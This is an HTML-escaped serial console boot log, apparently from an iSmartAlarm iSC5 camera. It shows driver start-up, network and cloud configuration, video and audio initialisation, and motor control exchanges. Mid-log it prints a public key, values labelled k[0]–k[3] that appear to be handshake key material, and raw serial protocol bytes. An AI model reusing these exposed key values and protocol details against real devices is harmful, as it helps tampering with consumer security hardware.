libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=1&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbdc&lt;br /&gt;
dhd_module_init: Enter&lt;br /&gt;
high speed device detected&lt;br /&gt;
dhd_attach(): thread:dhd_sysioc:250 started&lt;br /&gt;
Broadcom Dongle Host Driver: register interface [wlan0] MAC: 00:90:4c:11:22:33&lt;br /&gt;
dbus_usb_resetcfg: download done 200 ms postboot chip 0xa123/rev 0x1&lt;br /&gt;
DBUS: vid=0xa5c pid=0xbdc devid=0x4322 bustype=0x0 mtu=512&lt;br /&gt;
usbcore: registered new interface driver dbus_usbdev&lt;br /&gt;
&lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
dhd_module_init: Exit err=0&lt;br /&gt;
Set hostname ...&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
not in singleboard test&lt;br /&gt;
&lt;br /&gt;
starting pid 603, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
logserver version: 1.2&lt;br /&gt;
item = 0&lt;br /&gt;
item = Device_State get &lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
serialport_open success&lt;br /&gt;
serialport_open: success&lt;br /&gt;
___________________________________Donot Copy IQ.bin________________________________&lt;br /&gt;
************************************************************************************&lt;br /&gt;
Cam_camera_version ret ..............= 0, MX238&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&lt;br /&gt;
************************************************************************************&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
20743344&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
i2c read 25 time&lt;br /&gt;
ret = -1, 0, 0, 0, 0&lt;br /&gt;
usb_find_busses ret=2&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
usb_find_devices ret=2&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = D&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = 111111111111111111&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = y&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = D&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = 111111111111111111&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = n&lt;br /&gt;
g_stConfigTable[12] Aladhd_open: Enter c3fa5c00&lt;br /&gt;
rm_Motion_Sensitivity = &lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_stCdhd_dbus_state_change: DBUS current state=2&lt;br /&gt;
onfigTable[12] Alarm_Motion_Sensitivity = 5&lt;br /&gt;
g_stConfigTable[13] Alarm_MFirmware up: op_mode=0x0001, Broadcom Dongle Host Driver mac=e0:76:d0:3c:49:58&lt;br /&gt;
otion_Region = 111111111111111111&lt;br /&gt;
g_stConfigTable[13] Alarm_Motion_Region = 0,0;0,0&lt;br /&gt;
g_stConfigTpktpool_init, len = 1.&lt;br /&gt;
able[14] Alarm_Audio_Swi000000.001 &lt;br /&gt;
tch = 111111111111111111RTE (USB-SDIO-CDC) 6.10.198.52_r33 (r1961) on BCM43143 r2 @ 20.0/97.0/97.0MHz&lt;br /&gt;
&lt;br /&gt;
g_stConfigTable[14] Al000000.002 ei 1, ebi 2, ebo 1&lt;br /&gt;
arm_Audio_Switch = n&lt;br /&gt;
g_000000.006 reclaim section 0: Returned 40511 bytes to the heap&lt;br /&gt;
stConfigTable[15] Alarm_000000.016 wlc_lcn40phy_txpwr_srom_read, set edon edoff for ce &lt;br /&gt;
Audio_Sensitivity = 1111000000.023 get nothing from nv set txbcn timeout 3&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000000.025 wl0: Broadcom BCM43143 802.11 Wireless Controller 6.10.198.52_r33 (r1961)&lt;br /&gt;
igTable[15] Alarm_Audio_000000.047 TCAM: 256 used: 31 exceed:0&lt;br /&gt;
Sensitivity = 5&lt;br /&gt;
g_stCon000000.048 reclaim section 1: Returned 55844 bytes to the heap&lt;br /&gt;
figTable[16] Alarm_Audio000000.048 pktpool_fill, psize = 9, len = 1,&lt;br /&gt;
_SmokeYXMOD = 1111111111000000.048 pktpool_add, p = 0004f418,&lt;br /&gt;
11111111&lt;br /&gt;
g_stConfigTabl000000.049 pktpool_add, p = 0004ec90,&lt;br /&gt;
e[16] Alarm_Audio_SmokeY000000.049 pktpool_add, p = 0004e508,&lt;br /&gt;
XMOD = 200&lt;br /&gt;
g_stConfigTa000000.049 pktpool_add, p = 0004dd80,&lt;br /&gt;
ble[17] Alarm_pir_Switch000000.049 pktpool_add, p = 0004d5f8,&lt;br /&gt;
 = 111111111111111111&lt;br /&gt;
g000000.049 pktpool_add, p = 0004ce70,&lt;br /&gt;
_stConfigTable[17] Alarm000000.049 pktpool_add, p = 0004c6e8,&lt;br /&gt;
_pir_Switch = n&lt;br /&gt;
g_stCon000000.049 pktpool_add, p = 0004bf60,&lt;br /&gt;
figTable[18] Light_Net = 111111111111111111&lt;br /&gt;
g_stConfigTable[18] Light_Net = y&lt;br /&gt;
g_stConfigTable[19] Light_Night = 111111111111111111&lt;br /&gt;
g_stConfigTable[19] Light_Night = y&lt;br /&gt;
g_stConfigTable[20] Video_IPS = 111111111111111111&lt;br /&gt;
g_stConfigTable[2Firmware version = wl0: Jul 10 2015 11:40:03 version 6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2&lt;br /&gt;
0] Video_IPS = 30&lt;br /&gt;
g_stCodhd_wlfc_init(): successfully enabled bdcv2 tlv signaling, 79&lt;br /&gt;
nfigTable[21] Video_Bright = 111111111111111111&lt;br /&gt;
g_stConfigTable[21] Video_Bright = 1&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 111111111111111111&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 3&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 1&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 1&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 111111111111111111&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 50&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 111111111111111111&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 10&lt;br /&gt;
g_stConfigTable[27] Video_OSD = 11111111111111111000010.037 pktpool_fill, psize = 36, len = 9,&lt;br /&gt;
1&lt;br /&gt;
g_stConfigTable[27] V000010.037 pktpool_add, p = 0004aad4,&lt;br /&gt;
ideo_OSD = n&lt;br /&gt;
g_stConfig000010.037 pktpool_add, p = 0004a34c,&lt;br /&gt;
Table[28] Audio_Channel 000010.037 pktpool_add, p = 00049bc4,&lt;br /&gt;
= 111111111111111111&lt;br /&gt;
g_000010.037 pktpool_add, p = 0004943c,&lt;br /&gt;
stConfigTable[28] Audio_000010.037 pktpool_add, p = 00048cb4,&lt;br /&gt;
Channel = 1&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004852c,&lt;br /&gt;
able[29] Audio_Sample = 000010.037 pktpool_add, p = 00047da4,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.037 pktpool_add, p = 0004761c,&lt;br /&gt;
ConfigTable[29] Audio_Sa000010.037 pktpool_add, p = 00046e94,&lt;br /&gt;
mple = 8000&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004670c,&lt;br /&gt;
able[30] Audio_Volume = 000010.037 pktpool_add, p = 00045f84,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.038 pktpool_add, p = 000457fc,&lt;br /&gt;
ConfigTable[30] Audio_Vo000010.038 pktpool_add, p = 00045074,&lt;br /&gt;
lume = 1&lt;br /&gt;
g_stConfigTabl000010.038 pktpool_add, p = 000448ec,&lt;br /&gt;
e[31] Device_State = 111000010.038 pktpool_add, p = 00044164,&lt;br /&gt;
111111111111111&lt;br /&gt;
g_stCon000010.038 pktpool_add, p = 000439dc,&lt;br /&gt;
figTable[31] Device_Stat000010.038 pktpool_add, p = 00043254,&lt;br /&gt;
e = u&lt;br /&gt;
g_stConfigTable[3000010.038 pktpool_add, p = 00042acc,&lt;br /&gt;
2] Config_Version = 1111000010.038 pktpool_add, p = 00042344,&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000010.038 pktpool_add, p = 0006af88,&lt;br /&gt;
igTable[32] Config_Versi000010.038 pktpool_add, p = 0006a800,&lt;br /&gt;
on = 2.4.9.6&lt;br /&gt;
g_stConfig000010.038 pktpool_add, p = 0006a078,&lt;br /&gt;
Table[33] HW_Version = 1000010.038 pktpool_add, p = 000698f0,&lt;br /&gt;
11111111111111111&lt;br /&gt;
g_stC000010.038 pktpool_add, p = 00069168,&lt;br /&gt;
onfigTable[33] HW_Versio000010.038 pktpool_add, p = 000689e0,&lt;br /&gt;
n = 0.0.0.0&lt;br /&gt;
g_stConfigT000010.039 pktpool_add, p = 00068258,&lt;br /&gt;
able[34] SW_Version = 11000010.039 pktpool_add, p = 00067ad0,&lt;br /&gt;
1111111111111111&lt;br /&gt;
g_stConfigTable[34] SW_Version = 0.0.0.0&lt;br /&gt;
g_stConfigTable[35] Server_URL = 111111111111111111&lt;br /&gt;
g_stConfigTable[35] Server_URL dhd_open: Exit ret=0&lt;br /&gt;
= api.ismartalarm.com&lt;br /&gt;
g_stConfigTable[36] P2p_UID = 111111111111111111&lt;br /&gt;
g_stConfigTable[36] P2p_UID = &lt;br /&gt;
g_stConfigTable[37] Camera_Type = 111111111111111111&lt;br /&gt;
g_stConfigTable[37] Camera_Type = iSC5&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = 111111111111111111&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = bzy.ismartalarm.com&lt;br /&gt;
init_flash_config_parameters  END&lt;br /&gt;
 111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifissid&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifipasswd&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifitype&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.camera_encyid&lt;br /&gt;
init_flash_config_parameters  END 111&lt;br /&gt;
 size = 12c&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
/sbin/ifconfig wlan0 down&lt;br /&gt;
/sbin/ifconfig wlan0 hw ether 00:4D:32:09:B7:2E&lt;br /&gt;
/sbin/ifconfig wlan0 up&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
cp -f /root/etc_default/wpa_supplicant.conf /tmp/wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.conf -B &amp;amp;&lt;br /&gt;
udhcpc -i wlan0 -p /var/run/udhcpc.pid -b &amp;amp;&lt;br /&gt;
size = 12c&lt;br /&gt;
g_stCommonInfo.acPbKey 8ZKv1WTwjES6UylNCO4YjSPp4C0b1F5ryF5IflS4uKY2yP6lJvFbg3ap5tdyx+xJGgossblmCRffuihUmMgWAgxfd1GrpKfWcsvU/PhDuxB935Ua1pRgRYY/D3t0QeNvHqxsoqjivVZmmuXUKfijEOe/hhr8IGUvjNKE8YawBhE=AQAB&lt;br /&gt;
size = 12c&lt;br /&gt;
size = 118&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  :  lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
Come Create Video Capture Thread!&lt;br /&gt;
21791920&lt;br /&gt;
22840496&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
23889072&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
24937648&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
25986224&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
27034800&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
28083376&lt;br /&gt;
30844080&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
31892656&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
32941232&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
33989808&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
35038384&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
36086960&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
37135536&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
38184112&lt;br /&gt;
39232688&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
40281264&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
41329840&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
42378416&lt;br /&gt;
Come Start Video Capture Thread! Main loop========================&lt;br /&gt;
item = 2&lt;br /&gt;
item = Video_Rate get 50&lt;br /&gt;
abc  =================================   50 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Bright get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Hflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Vflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
((((((((((((((((((sample   50 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((sizek   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((help_n   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((filp_n   1 ))))))))))))))))))&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Sensitivity get 5&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Switch get n&lt;br /&gt;
udhcpc (v1.22.1) started&lt;br /&gt;
start to create_mp4_main() &lt;br /&gt;
NewsChannel thread start success&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Net get y&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Night get y&lt;br /&gt;
get_config_item_value(CONFIG_LIGHT_NIGHT       y    &lt;br /&gt;
48465072&lt;br /&gt;
49829040&lt;br /&gt;
child_process_init: success&lt;br /&gt;
child process synchronization start&lt;br /&gt;
start to InitAccEncoder ok () &lt;br /&gt;
g_pstCloudInfo-&amp;gt;threadMsgId = 65538&lt;br /&gt;
g_pstCloudInfo-&amp;gt;processMsgId = 32769&lt;br /&gt;
item = 19&lt;br /&gt;
item = Server_URL get api.ismartalarm.com&lt;br /&gt;
g_pstCloudInfo-&amp;gt;acServerDomainAddr = api.ismartalarm.com&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
*******************clock.fmt.he.net*************************&lt;br /&gt;
NewsChannel_init: container-&amp;gt;lmsgid: 65538, container-&amp;gt;rmsgid: 32769&lt;br /&gt;
NewsChannel_usrInfoClear: success&lt;br /&gt;
NewsChannel initialize success&lt;br /&gt;
NewsChannel thread synchronization start&lt;br /&gt;
alarm_func_thread_init ok#################################################&lt;br /&gt;
set g_stAlarmRecordData.nFlag  0 &lt;br /&gt;
Alarm_set_load_File&lt;br /&gt;
Video_Alarm,Alarm_OnOff  0&lt;br /&gt;
Video_Alarm,Alarm_Keen  5&lt;br /&gt;
Video_Alarm,Alarm_Web_Log 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Pic 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Vid 1&lt;br /&gt;
Video_Alarm,Alarm_TCP_Log 1&lt;br /&gt;
wifi_list_init ok ~~~~~~~~~~~~~&lt;br /&gt;
network init ok, creat check thread ok&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
Video 0 5 1 1 1 1 &lt;br /&gt;
Audio 0 5 1 1 1 1 &lt;br /&gt;
Smoke 0 5 1 1 1 1 &lt;br /&gt;
CO 0 5 1 1 1 1 &lt;br /&gt;
InfraredAlarm 0 5 1 1 1 1 &lt;br /&gt;
InfraredAndMotionAlarm 0 5 1 1 1 1 &lt;br /&gt;
Other 0 5 1 1 1 1 &lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
************************time Open : 0  time Num : 1***********************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
XIAOMI_THREAD get Str 76666666666666666 &lt;br /&gt;
76666666666666666 &lt;br /&gt;
*************************************************************************************&lt;br /&gt;
****************************is_sd_ready  0*************************************************&lt;br /&gt;
*****************************is_sd_long   0************************************************&lt;br /&gt;
*****************************timezone_min   0************************************************&lt;br /&gt;
*************************************************************************************&lt;br /&gt;
Sending discover...&lt;br /&gt;
frame size:1024&lt;br /&gt;
max output bytes:768&lt;br /&gt;
&lt;br /&gt;
start capture&lt;br /&gt;
++++++++++++++++++++++++++++++++child_process_synchronization ok++++++++++++++++++++++++&lt;br /&gt;
52835504&lt;br /&gt;
53884080&lt;br /&gt;
54932656&lt;br /&gt;
55981232&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Switch get n&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Sensitivity get 5&lt;br /&gt;
change_isp_md_args Video Open  0  ---------5-------&lt;br /&gt;
io module sync ok&lt;br /&gt;
unSubType = 2,   unSubPara = 180rcv PIR_OPEN ~~~~&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
Photosensitive is change  1  !!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
数据转换中:        Video After Sync!!&lt;br /&gt;
local_storage_thread ok&lt;br /&gt;
Udp Server start success&lt;br /&gt;
NewsChannel thread synchronization stop&lt;br /&gt;
1111111111111111111111111111111111111111111111111111110ret=0&lt;br /&gt;
AudioAlarm Thread start ok v1.1, 5, 0&lt;br /&gt;
thread_VideoFrameData start OK&lt;br /&gt;
thread_AudioFrameData start OK ok ok &lt;br /&gt;
***************************&lt;br /&gt;
******* volctlNul=1  ***********&lt;br /&gt;
***************************&lt;br /&gt;
IOTC_Initialize2 success &lt;br /&gt;
????????????????????????????IOTC_Get_Version   33621506  ??????????????????????????&lt;br /&gt;
58590384&lt;br /&gt;
[SNX-AUDIO] Un-mute MIC&lt;br /&gt;
stream-&amp;gt;format_bits   16 &lt;br /&gt;
[SNX-AUDIO] frame number : 256, format_bits: 16&lt;br /&gt;
stream-&amp;gt;buffer_size   1024   &lt;br /&gt;
[SNX-AUDIO] Un-mute speaker&lt;br /&gt;
[SNX-SPEAKER] OK frame number : 80, format_bits: 16&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  01  ff &lt;br /&gt;
k[0] = 0x52769ebf&lt;br /&gt;
k[1] = 0xcd7123a2&lt;br /&gt;
k[2] = 0xe07aed75&lt;br /&gt;
k[3] = 0x5af1201a&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0e  0c &lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  0a  d7  52  0b  6a  82  16  27  66 &lt;br /&gt;
 00  00  dc  53  04  27  65  56  f0 &lt;br /&gt;
_______::::: after send_R2 : ret = 0, rec_buf[2] = 11&lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  08  77  df  e6  10  19  ea  c9  02 &lt;br /&gt;
 c5  53  d9  03  1f  c4  c5  b4  80 &lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0b  09 &lt;br /&gt;
file=SerialPorts.c,func=serialport_confirm, line=1663: confirm return = 0&lt;br /&gt;
**************************************************&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
**************************************************&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  2c  2a &lt;br /&gt;
****************************************************************&lt;br /&gt;
**************************get abcd   2*************************&lt;br /&gt;
****************************************************************&lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
Sending discover...&lt;br /&gt;
********************video_channel[1].m2m.m2m 1 width 1280  height 720************************&lt;br /&gt;
killall: miio_client: no process killed&lt;br /&gt;
killall: miio_client_helper_nomqtt.sh: no process killed&lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  1   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 1,0,0,0 &lt;br /&gt;
Guozhixin get pan 1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = 27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  1b  00  00  00  1f &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  05  f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  7_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 03  0f  01  16  5a  81 &lt;br /&gt;
set_photosensitive_value set_photosensitive_value&lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 255,255,0,0 &lt;br /&gt;
Guozhixin get pan -1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = -27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  e5  ff  00  00  e8 &lt;br /&gt;
_________________________socket read  12_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1  ef  00  0f  fe  ef  00  05 &lt;br /&gt;
 f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
rcv from serial: buf[2] = 0xf&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
unSubType = 3,   unSubPara = 0MSG_IOCTL_T_CTL_LED_STATE..... ..... &lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
cropcap.dframe rate update,  pix_clk: 46607142, rate 4 fps, frame_length: 0x1af6, line_length: 0x698&lt;br /&gt;
efrect = (0, 40, 1280, 720)&lt;br /&gt;
-----&amp;gt;sussess crop to (0, 40, 320, 240)&lt;br /&gt;
channel 0 buffer count=2, size=118784&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
OPEN  video_code driver OK &lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video code-------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  2   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
Sending discover...&lt;br /&gt;
===========================dongle_num  0==================================&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
